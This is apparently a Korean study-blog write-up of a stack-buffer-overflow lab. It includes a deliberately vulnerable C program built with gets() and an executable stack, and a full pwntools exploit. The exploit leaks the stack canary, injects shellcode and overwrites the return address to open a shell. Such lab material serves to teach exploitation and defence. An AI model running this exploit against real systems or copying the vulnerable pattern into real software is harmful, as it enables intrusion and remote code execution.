아래 글을 보고 읽으면 더 이해가 잘 될 것이다
코드 설명
buf 주소 및 rbp와 buf 사이의 주소 차이를 출력하고
(버퍼의 주소를 알거나 구할 수 있어야 공격이 가능)
스택 버퍼인 buf에 두 번의 입력을 받는다
이때 두 번 모두 오버플로우가 발생한다
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
스택 구조
+------------------------+ <- 낮은 주소
| buf[0x50] (80 bytes) | <- 입력 버퍼
+------------------------+
| Canary | <- 스택 카나리 (스택 오버플로우 방지)
+------------------------+
| Saved $rbp | <- 이전 프레임의 베이스 포인터
+------------------------+
| Return Address | <- 복귀 주소
+------------------------+ <- 높은 주소
두번째 입력으로 반환 주소(rbp)를 덮을 수 있지만, 중간에 카나리까지 덮여진다
카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다
그러므로 첫 번째 입력에서 buf에 오버플로우를 발생시켜서
카나리 값을 알아낸 후 이를 두 번째 입력에 사용해야 한다
실습
위 소스코드를 컴파일
-zexecstack 옵션은 스택에 실행 권한을 부여하여, 스택에서 실행되는 코드를 허용함
리눅스에는 다양한 바이너리 보호기법이 존재
checksec - 보호기법을 파악할 때 사용하는 툴
RELRO, STACK CANARY, PIE 등의 보호기법이 적용되어 있는 것을 확인
익스플로잇 코드
def slog(n, m): return success(': '.join([n, hex(m)]))
익스플로잇 진행 중 로그를 표시한다
p = process('./r2s')
바이너리를 실행하여 프로세스 시작
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
프로그램 출력에서 "buf: "까지 읽는다
buf의 주소를 16진수로 변환하여 저장
p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
buf와 $rbp 사이의 거리를 계산
buf와 카나리 사이의 거리를 계산
payload = b'A'*(buf2cnry + 1)
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
buf와 카나리 사이의 거리(buf2cnry)만큼 패딩('A')을 채워 카나리를 노출
+1은 첫 번째 null 바이트를 고려한 추가 길이다
p.sendafter - 카나리 값을 읽기 위해 패이로드를 전송
노출된 카나리 값을 읽고 64비트 정수로 변환한다(카나리는 항상 첫 바이트는 널이므로 \x00으로 채운다)
sh = asm(shellcraft.sh())
pwntools의 쉘코드 생성 기능을 사용해 쉘을 실행하는 기계어 코드를 생성
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
스택에 실행 가능한 쉘코드 + 패딩(카나리까지 거리) + 알아낸 카나리 값 + 패딩(8 바이트) + buf
| buf[0x50] (80 bytes) | + | Canary | + | Saved $rbp| + | Return Address |
리턴 주소를 buf로 덮어써서 buf의 쉘코드가 실행되도록 한다
p.interactive()
익스플로잇 실행 후, 쉘과 상호작용할 수 있는 상태로 진입
전체 코드
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = process('./r2s')
context.arch = 'amd64'
# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)
p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)
# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)
p.interactive()
익스플로잇 코드 실행 결과
성공!
'시스템 해킹 > 학습' 카테고리의 다른 글
[시스템] 스택 카나리 우회(Canary) (0) | 2025.01.03 |
---|---|
[시스템] 스택 카나리 생성 과정(Canary) (0) | 2025.01.02 |
[시스템] 스택 카나리 분석(Canary) (0) | 2025.01.02 |
[시스템] (스택) 버퍼 오버플로우 (0) | 2024.08.26 |
[시스템] 함수 호출 규약 (SYSV) (0) | 2024.08.22 |